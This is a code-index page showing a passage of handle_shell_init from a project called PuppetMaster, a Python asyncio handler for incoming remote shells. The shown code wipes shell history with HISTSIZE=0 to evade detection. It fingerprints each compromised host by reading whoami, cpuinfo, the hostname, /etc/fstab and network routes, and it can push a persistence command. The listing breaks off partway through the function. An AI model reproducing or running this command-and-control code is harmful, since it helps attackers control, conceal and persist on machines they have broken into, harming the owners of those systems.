MCPcopy Index your code
hub / github.com/R4be1/PuppetMaster / handle_shell_init

Function handle_shell_init

Master.py:72–239  ·  view source on GitHub ↗
(reader, writer)

Source from the content-addressed store, hash-verified

70IPSelect.load_file("qqwry.dat")
71
72async def handle_shell_init(reader, writer):
73
74 init_data = bytes()
75
76 randomStringInitSuffix = randomString()
77 randomStringHashPrefix = randomString()
78 randomStringHashSuffix = randomString()
79 randomStringWhoamiPrefix = randomString()
80 randomStringWhoamiSuffix = randomString()
81 randomStringCPUinfoPrefix = randomString()
82 randomStringCPUinfoSuffix = randomString()
83 randomStringHostnamePrefix = randomString()
84 randomStringHostnameSuffix = randomString()
85
86 while True:
87 try:
88 randomStringInitPrefix = randomString()
89 writer.write( "export HISTSIZE=0; echo {};\n".format(randomStringInitPrefix).encode() )
90 await writer.drain()
91 await asyncio.sleep(4)
92
93 data = await asyncio.wait_for( reader.read(40960), timeout=10 )
94
95 init_data += data
96 if randomStringInitPrefix in data.decode().replace(f"echo {randomStringInitPrefix}", ""):
97 break
98
99 except asyncio.TimeoutError:
100 writer.close()
101 return None
102
103 except KeyboardInterrupt:
104 print("Ctrl + C")
105
106 except Exception as e :
107 print(traceback.format_exc())
108 writer.close()
109 return None
110
111 init_command = str()
112 init_command += "export HISTSIZE=0;"
113 init_command += f"echo {randomStringWhoamiPrefix} && whoami && echo {randomStringWhoamiSuffix}\n"
114 init_command += f"echo {randomStringCPUinfoPrefix} && cat /proc/cpuinfo && echo {randomStringCPUinfoSuffix}\n"
115 init_command += f"echo {randomStringHostnamePrefix} && (hostname||cat /etc/hostname) && echo {randomStringHostnameSuffix}\n"
116 init_command += f"echo {randomStringHashPrefix} && whoami && cat /proc/version /etc/fstab /proc/net/route && echo {randomStringHashSuffix}\n"
117 writer.write( init_command.encode() )
118 await writer.drain()
119
120 #如果持久化选项为True则执行deamon进程持久化命令
121 if Puppet_Master.Persistence:
122 writer.write( Puppet_Master.PersistenceCommand.encode() + "\n".encode() )
123 await writer.drain()
124
125 writer.write( f"echo {randomStringInitSuffix}\n".encode() )
126 await writer.drain()
127
128 while True:
129 try:

Callers

nothing calls this directly

Calls 5

randomStringFunction · 0.85
getTextBetweenStringsFunction · 0.85
PrintInfoFunction · 0.85
dingding_send_meassageFunction · 0.85
lookupMethod · 0.80

Tested by

no test coverage detected